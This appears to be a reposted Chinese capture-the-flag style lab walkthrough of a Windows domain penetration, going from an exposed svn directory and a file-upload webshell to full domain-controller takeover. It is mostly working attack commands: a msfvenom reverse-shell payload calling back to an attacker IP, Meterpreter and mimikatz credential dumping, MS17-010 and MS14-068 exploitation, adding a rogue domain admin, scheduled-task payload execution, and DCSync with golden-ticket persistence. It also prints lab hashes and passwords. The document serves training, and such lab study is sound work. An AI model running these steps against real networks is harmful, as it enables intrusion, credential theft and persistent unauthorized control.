Windows域内渗透
2023-6-8 19:12:26 Author: 亿人安全(查看原文) 阅读量:30 收藏

webhack123靶场主要为 Windows 域渗透,其中涉及多种技术,包括svn信息泄露、ThinkPHP日志泄露、文件上传、MS14-068域内提权、MS17-010、黄金票据等知识。

0x01 靶机环境搭建

靶场中包含两台靶机,具体的网络拓扑图如下

根据拓扑图环境分别为两台主机配置不同的网卡

web 服务器管理员密码为[email protected]#Qwe456,域控服务器的管理员密码为[email protected]#Qwe123,普通域用户web密码为[email protected]#Qwe456,登录 web 服务器查看IP地址为192.168.0.100

当然也可以使用 netdiscover 发现内网主机

netdiscover 192.168.0.0/24

在 hosts 文件中绑定域名解析

sudo vim /etc/hosts
## 配置
192.168.0.100 www.webhack123.com

成功访问目标站点,靶机环境部署完成

0x02 外网边界突破

端口扫描

使用 masscan 快速扫描目标全部端口

sudo masscan -p 1-65535 192.168.0.100 --rate=200

使用 nmap 对 masscan 扫描到的端口进行具体的信息探测

nmap -A -p 80,135,139,445,3306,3389 -sC -Pn 192.168.0.100

脚本扫描结果如下,成功发现域名hackbox.com

80端口

使用 whatweb 进行指纹识别,发现站点使用 ThinkPHP 框架

whatweb http://www.webhack123.com

使用 gobuster 进行目录扫描,成功找到目录.svnapp

gobuster dir -u  http://www.webhack123.com -w /usr/local/share/wordlists/dirb/big.txt

svn信息泄漏

使用 dumpall 利用 svn 源代码泄漏漏洞下载文件

dumpall -u http://www.webhack123.com/.svn

查看结果,发现源代码如下:

App/Runtime/Logs目录下发现 ThinkPHP 日志文件,但其中的日志比较老旧,并没有包含新日志

假如我们需要访问到最新日志,可使用 Python 编写脚本枚举日志名

import requests

test_url = "http://www.webhack123.com/app/runtime/logs/18_06_05.log"
base_url = "http://www.webhack123.com/app/runtime/logs"

def add_log(base_url):
    years = [1920#设置年份
    urls = []
    for y in years:
        for i in range(113):#设置月份
            for j in range(132):#设置日期
                if i < 10:
                    if j < 10:
                        urls.append(base_url + "/%s_0%s_0%s.log" % (y, i, j))
                    else:
                        urls.append(base_url + "/%s_0%s_%s.log" % (y, i, j))
                else:
                    if j < 10:
                        urls.append(base_url + "/%s_%s_0%s.log" % (y, i, j))
                    else:
                        urls.append(base_url + "/%s_%s_%s.log" % (y, i, j))
    return urls

def get_log():
    urls = add_log(base_url)
    for url in urls:
        with open("result.txt""a+"as f:
            r = requests.get(url)
            if r.status_code == 200:#过滤状态码
                print(url)
                f.write(r.text)#写入结果

get_log()

扫描结果如下:

在返回内容中搜索最近的密码,其值为74c774ef39b5b977c1fd59dbfc73c3e380a65aa3

在线网站中解密MD5值,成功拿到明文密码web123,但是通过目录扫描并没有发现后台界面,因此可尝试子域名扫描来获取后台

hosts碰撞

当搜集到大量IP资产开放着 web 服务,但访问通常是4xx、5xx时,主要是由于中间件对访问IP进行了限制,它们大多是内部员工使用的系统,使用外网IP,但是绑定的域名是内部域名,外网 DNS 服务器无法完成解析,因此可利用本地 hosts 绑定才能正常访问,使用 Hosts_scan 工具可快速进行 hosts 碰撞突破边界,当然这里需要根据需求来修改脚本,给脚本添加 top 3000 的子域名进行碰撞,代码如下:

项目地址:https://github.com/fofapro/Hosts_scan

import requests
import re

lists=[]
files = open('hosts_ok.txt','w+')
#读取IP地址
print("====================================开 始 匹 配====================================")
for iplist in open("ip.txt"):
    ip = iplist.strip('\n')
    #读取host地址
    http_s = ['http://','https://']
    for subdomain in open("top-3k-domain.txt"'r'):#添加子域名
        s = subdomain.strip()
        for h in http_s :
            for hostlist in open("host.txt",'r'):
                host = s + "." + hostlist.strip('\n')
                headers = {'Host':host,'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'}
                try:
                    r = requests.session()
                    requests.packages.urllib3.disable_warnings()
                    rhost = r.get(h + ip,verify=False,headers=headers,timeout=5)
                    rhost.encoding='utf-8'
                    title = re.search('<title>(.*)</title>', rhost.text).group(1#获取标题
                    info = '%s -- %s 协议:%s 数据包大小:%d 标题:%s' % (ip,host,h,len(rhost.text),title)
                    lists.append(info)
                    files.write(info + "\n")
                    print(info)
                except Exception :
                    error = ip + " --- " + host + " --- 访问失败!~"
                    print(error)
print("====================================匹 配 成 功 的 列 表====================================")
for i in lists:
    print(i)

hosts_ok.txt中记录了扫描结果

在其中找到子域名admin.webhack123.com,在 hosts 文件中绑定该域名

sudo vim /etc/hosts
## 配置
192.168.0.100 admin.webhack123.com

成功访问并发现后台管理系统

后台验证码重用

输入测试账号密码进行登录,使用 burpsuite 截取数据包并发送至 repeater 模块

解码 unicode 编码,结果显示“管理用户名或密码有误”

尝试爆破发现该验证码可重用

文件上传

使用admin/web123成功登录后台系统

在基本设置中添加允许上传的文件类型:php

在网站 LOGO 处直接上传木马,上传后地址为http://admin.webhack123.com/Public/Upload/20220717/4b100398eef6cbe8f00a37a25fcacb3c.php

使用菜刀连接木马,木马连接成功

成功在C:\Users\web\发现第一个flag

web{flag_web123}

C:\Users\Administrator\中发现第二个flag

web{flag_moonsec.com_123456}

0x03 内网信息收集

本机基础环境

查看当前权限为 system,因此无需提权,将其转移到 MSF 上以便能够收集更多信息

使用 MSF 生成反弹shell木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.113 lport=4444 -f exe > ~/Desktop/mac.exe

在 MSF 中开启监听

msfconsole
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set lhost 192.168.0.113
msf > set lport 4444
msf > exploit -j

在菜刀中上传木马并执行

成功收到 meterperter,权限同样为 system

查看目标网卡信息,发现两个IP

meterpreter > ipconfig

IP地址分别如下:

192.168.0.100
10.10.10.150

查询 ARP 信息

meterpreter > arp -a

查看系统进程,寻找 system 所对应的稳定进程

meterpreter > ps

选择 PID 为 572 的进程完成迁移

meterpreter > migrate 572

成功拿到用户哈希值

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:086a0bb1ed4ec72250760ea531bf8074:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

使用 mimikatz 获取明文密码,成功拿到管理员明文密码[email protected]#Qwe456

meterperter > load mimikatz
meterpreter > creds_msv
meterpreter > creds_kerberos
Username       Domain   NTLM                            SHA1                            LM
--------       ------   ----                            ----                            --
Administrator  WEB      086a0bb1ed4ec72250760ea531bf8074  b243bd1e36ad7ccb65f59e151dfe5b521a5f2b9b  c6125126643bbe191e929ffc01395127                                                                            
WEB$           HACKBOX  12890c2504445fbc9148f86b42478c65  7b0f82cf8d1f9c9a908e8a601e77044756f8aaea
Username       Domain       Password
--------       ------       --------
(null)         (null)       (null)
Administrator  WEB          [email protected]#Qwe456
web$           HACKBOX.COM  a3 10 9b 98 c0 3d 4d 6e ec 53 c5 d9 9f ba 16 59 01 38 90 87 c9 72 5b 7d 8f b1 02 09 75 b6
                            be 33 36 c5 5a ed db 29 dd 34 64 20 15 a4 d3 4d b8 b7 50 bb e5 fa 53 69 4c 8c 86 82 a0 a8
                            25 8e ed a0 34 c2 10 68 b4 55 e5 df 3b d3 c3 7d c0 67 18 d0 4b f9 8c d9 5d 58 7c 02 e2 2b
                            ef fc bc 64 85 cd 4e bf be 8c 31 c9 b8 04 0d 72 04 76 5f 21 8b 2b 3b 81 f0 15 2d 87 47 c7
                            86 d0 0b 42 d5 00 e9 ab 40 8d ed a7 cb 17 ff f9 68 6d cc 68 ba a9 f5 48 53 72 f9 3d c0 83
                            d9 9c cd 9d 5a a7 0f 76 35 79 90 e4 7e 2e 01 13 ce 9a 2f 01 0f ab 5f 74 a4 a1 55 ab ac 38
                            fe d0 af a7 a6 3d 88 41 0d 78 e8 bd 10 f8 bc 6c c4 48 fa 87 43 d5 a9 0c 0d fe 62 67 93 b5
                            d7 8b b6 87 87 3e 7a c7 b4 ab 10 b0 db 58 f8 b1 73 db 67 3a b8 2c 42 c5 11 59 49 10 09 31

内网域环境

查看网络信息发现域名为hackbox.com,域名解析服务器为10.10.10.149,一般而言域控就是DNS服务器

ipconfig /all

如果出现乱码可以使用如下命令:

chcp 65001

查询当前用户信息,获取用户SID

whoami /all

查询主机信息失败

net config workstation

查询是否存在多域环境,目前仅发现hackbox

net view /domain

查询局域网中其他主机,成功找到主机名DC,根据名字推测可能为域控

net view

ping 主机DC那么其IP为 10.10.10.149

ping dc

查询时间和用户组确认域控为该主机dc.hackbox.com

net time /domain
net group /domain

查看域内用户

net user /domain

在 MSF 中可使用 enum_domain 模块确认域控

meterpreter > run post/windows/gather/enum_domain

使用 enum_ad_computers 模块查询域内主机

meterpreter > run post/windows/gather/enum_ad_computers

最后使用 enum_logged_on_users 模块查询登录过的用户,可能会有意外的惊喜

meterpreter > run post/windows/gather/enum_logged_on_users
SID                                            User
---                                            ----
S-1-5-21-1443003717-4130318662-4279967973-500  C:\Users\Administrator
S-1-5-21-2005268815-658469957-1189185684-1103  C:\Users\web
S-1-5-21-2005268815-658469957-1189185684-500   C:\Users\Administrator.HACKBOX

0x04 内网横向渗透(MSF)

建立socks代理

利用模块 get_local_subnets 查看当前网段

meterpreter > run get_local_subnets

添加内网路由段10.10.10.0/24

meterpreter > run autoroute -s 10.10.10.0/24

查看已添加路由

meterpreter > run autoroute -p

运行模块 socks_proxy 建立 socks 代理

meterpreter > use auxiliary/server/socks_proxy
meterpreter > set srvport 2222
meterpreter > show options
meterpreter > run

通过 proxychains 建立代理

vim /usr/local/etc/proxychains.conf
#配置
socks5 127.0.0.1 2222

使用 nmap 通过代理进行扫描,测试成功

proxychains4 nmap -Pn 10.10.10.149

端口扫描结果如下:

永恒之蓝(MS17-010)

由于目标开放 smb 服务,尝试使用永恒之蓝漏洞进行扫描

msf > use auxiliary/scanner/smb/smb_ms17_010
msf > set rhost 10.10.10.149
msf > run

成功发现永恒之蓝漏洞,在内网中无法直接使用永恒之蓝的交互模块,但可以使用 ms17_010_command 模块进行利用

msf > use auxiliary/admin/smb/ms17_010_command
msf > set rhost 10.10.10.149
msf > set command "ipconfig"
msf > run

成功拿到域控的系统权限

域内提权(MS14-068)

MS14-068 需要域用户权限,但目前已知域用户只有web以及administratorweb在本机登录过,因此可能与本机管理员的密码相同,尝试通过远程桌面进行验证

当输入hackbox.com\web:[email protected]#Qwe456时显示无权限远程连接,而当输入错误密码显示账户不可用,这说明该密码可用,只是无法用于远程桌面登录

在 MSF 中上传漏洞利用程序ms14-068.exe

meterperter > upload /Users/mac/Downloads/MS14-068.exe C:/phpstudy_pro/WWW/www.webhack123.com/Public/Upload/20220717/

使用ms14-068.exe生成票据,成功生成票据[email protected]

ms14-068.exe -u web[email protected] -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p [email protected]#Qwe456

清理票据,发现当前票据已经为空

meterperter > load kiwi
meterperter > kerberos_ticket_purge
meterperter > kerberos_ticket_list

上传 mimikatz,使用 mimikatz 导入票据

kerberos::ptc C:/phpstudy_pro/WWW/www.webhack123.com/Public/Upload/20220717/[email protected]
klist

访问域控成功,但是目前并不能执行命令

dir \\dc\C$

使用 MSF 生成正向连接木马

msfvenom -p windows/meterpreter/bind_tcp lport=13777 -f exe > ~/Desktop/mac2.exe

上传木马至根目录中

meterpreter > upload /Users/mac/Desktop/mac2.exe c:/mac2.exe

通过 SMB 共享复制到域控当中

copy c:\mac2.exe \\dc\c$\mac2.exe

查询域控时间,设置计划任务执行木马

net time \\dc
at \\dc 0:29:00 c:/mac2.exe
at \\dc

在 MSF 中连接域控,成功收到返回的 meterpreter

msf > use exploit/multi/handler
msf > set payload windows/meterpreter/bind_tcp
msf > set rhost 10.10.10.149
msf > set lport 13777
msf > run

成功在c:/Users/administrator/目录中发现第三个flag

dc{flag_moonsec.com_dc}

查看进程,寻找 system 所对应的稳定进程

meterpreter > ps

选择 PID 604 完成进程迁移

metrepreter > migrate 604

使用 hashdump 抓取域控哈希值

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e7114141b0337bdce1aedf5594706205:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f60ace6accbcb76078ccc0312174e98:::
web:1103:aad3b435b51404eeaad3b435b51404ee:086a0bb1ed4ec72250760ea531bf8074:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:f6d76d3756ece41b315347b770b92175:::
WEB$:1104:aad3b435b51404eeaad3b435b51404ee:12890c2504445fbc9148f86b42478c65:::

使用 smart_hashdump 抓取哈希值

metrepreter > run post/windows/gather/smart_hashdump

通过 mimikatz 抓取 Kerberos 以及明文信息,成功拿到管理员明文密码[email protected]#QWE123

metrepreter > load kiwi
metrepreter > creds_all

尝试开启远程连接服务,但是在实战时如无必要不要开启远程连接,很容易被管理员发现

meterpreter > run post/windows/manage/enable_rdp

黄金票据权限维持

查询 krbtgt 用户的 SID,其值为S-1-5-21-2005268815-658469957-1189185684-502

wmic useraccount where name="krbtgt" get sid

由于系统权限无法完成 dcsync,因此需要窃取域管理员令牌

meterpreter > steal_token 2112
meterpreter > dcsync_ntlm krbtgt

通过 golden_ticket_create 成功生成黄金票据,其中用户名可任意伪造

meterpreter > golden_ticket_create -d hackbox.com -u mac -s S-1-5-21-2005268815-658469957-1189185684 -k 6f60ace6accbcb76078ccc0312174e98 -t /tmp/krbtgt.ticket

清除所有票据并查看

meterpreter > kerberos_ticket_purge
meterpreter > kerberos_ticket_list

注入黄金票据,再次成功访问域控

meterpreter > kerberos_ticket_use /tmp/krbtgt.ticket
meterpreter > kerberos_ticket_list
dir \\dc\c$

0x05 内网横向渗透(CS)

服务器上线CS

配置 http 监听器

生成 exe 类型木马cs.exe

通过菜刀上传木马并执行

成功上线CS,同时设置时间间隔为2秒

查看进程,寻找稳定的系统进程

ps

注入 PID 为824的进程

inject 824 x64

主机信息收集

获取用户哈希以及密码明文信息

hashdump
logonpasswords

查询域内信息,发现域名、域控以及同网段主机

net computers
net domain
net dclist

使用 fscan 扫描域控主机,发现 MS17-010 漏洞

建立socks代理

尝试使用 FRP 建立代理,其中frpc.ini代理配置如下:

[common]
server_addr = x.x.x.x
server_port = 7000

[http_proxy]
type = tcp
remote_port = 6000
plugin = socks5

frps.ini配置如下:

[common]
bind_addr = 0.0.0.0
bind_port = 7000

上传frpsfrps.ini至服务器并执行

./frps -c frps.ini

在靶机中上传frpcfrpc.ini,同时连接 FRP

frpc.exe -c frpc.ini

通过 proxychains 建立代理

vim /usr/local/etc/proxychains.conf
#配置
socks5 x.x.x.x 6000

使用代理扫描域控主机,连通性测试成功

proxychains4 nmap -Pn 10.10.10.149

永恒之蓝(MS17-010)

在服务器上建立TCP中转监听

生成中转监听木马cs2.exe

使用 MSF 设置代理通过永恒之蓝进行攻击

msf > use auxiliary/admin/smb/ms17_010_command
msf > setg Proxies socks5:x.x.x.x:6000
msf > setg ReverseAllowProxy true
msf > set command whoami
msf > set rhosts 10.10.10.149
msf > run

使用永恒之蓝创建域管理员用户

net user mac1 QWEasd123 /add /domain 
net group "domain admins" mac1 /add /domain
net user /domain
net user mac1 /domain

在 CS 中通过 IPC 管道连接域控

shell net use \\10.10.10.149\ipc$ "QWEasd123" /user:mac1
shell net use
shell dir \\10.10.10.149\c$

复制木马至域控C盘当中

shell copy cs2.exe \\10.10.10.149\c$

查看域控时间,设置定时任务执行木马

shell net time \\10.10.10.149
shell at \\10.10.10.149 3:52:00 c:/cs2.exe
shell at \\10.10.10.149

但是域控并没有上线,尝试使用哈希传递来上线,设置 SMB 监听器

域控主机成功上线CS

域内提权(MS14-068)

使用ms14-068.exe生成票据,成功生成票据[email protected]

shell ms14-068.exe -u [email protected] -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p [email protected]#Qwe456

删除域控IPC$连接、票据

shell net use * /delete
shell klist purge

使用自带命令导入票据失败,估计是文件类型问题

尝试打开 mimikatz 通过非交互方式导入票据

shell mimikatz.exe "kerberos::ptc C:/phpstudy_pro/WWW/www.webhack123.com/Public/Upload/20220717/[email protected]" exit

成功访问域控

shell dir \\dc\c$

选择 smb 隧道生成正向木马cs3.exe

复制木马至域控C盘当中

shell copy cs3.exe \\dc\c$

查看域控时间,设置定时任务执行木马

shell net time \\dc
shell at \\dc 9:51:00 c:/cs3.exe
shell at \\dc

正向连接域控

link dc

成功上线域控

黄金票据权限维持

导出 krbtgt 用户信息

dcsync hackbox.com hackbox\krbtgt
SID:S-1-5-21-2005268815-658469957-1189185684
Domain:hackbox.com
krbtgt NTLM hash:6f60ace6accbcb76078ccc0312174e98
user(可伪造):mac

使用 LSTAR 插件在 web 服务器上制作黄金票据

清空票据信息后,将以上信息填入其中

成功生成黄金票据

0x06 靶场学习总结

整个靶场全面地展示了 Winodws 域渗透,通过目录扫描发现在站点中存在 svn 信息泄露漏洞,利用该漏洞下载源码,经遍历发现其中包含 ThinkPHP 日志,但其中只包含了 2019 年的日志,由于可能存在 ThinkPHP 日志信息泄露漏洞,尝试编写 Python 脚本来遍历 2020 年的日志,找到 2020 年的日志中存在密码密文,利用破解网站成功解密为明文。目前虽然有了账号密码,但是没有后台进行登录也毫无用处,通过 Hosts 碰撞发现子域名admin.hackbox.com,在本地绑定 hosts 后访问发现后台应用,利用拿到的密码成功登录后台,而后台界面中存在文件上传漏洞,上传木马成功且权限为系统权限。

在服务器上使用 mimikatz 搜集密码,成功找到本地管理员的明文密码,经测试与域用户web密码相同,无论利用 MS17-010 或 MS14-068 均可获取域控权限,最终制作黄金票据完成权限维持。不过需要注意的是 MS14-068 的利用与黄金票据制作容易混淆,虽说两者都是票据利用,但是 MS14-068 的条件是域用户名、域用户密码、域用户 SID 以及域控 IP,而黄金票据的条件是域名、krbtgt 用户 SID、krbtgt 用户 NTLM 哈希以及伪造的用户名,因此存在本质差别。该靶场非常贴近实战,十分适合网络安全进阶人员练习,在实战渗透时能够提供给我们非常好的借鉴作用。


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0MTIzNTgzMQ==&mid=2247506835&idx=2&sn=167195c683ff0d435b7336ddfd7eee8a&chksm=c2d7108bf5a0999db377f7a57c314bf72c08e2ac2f0df5add5a2ae8262e87888d4f900d88837#rd
如有侵权请联系:admin#unsafe.sh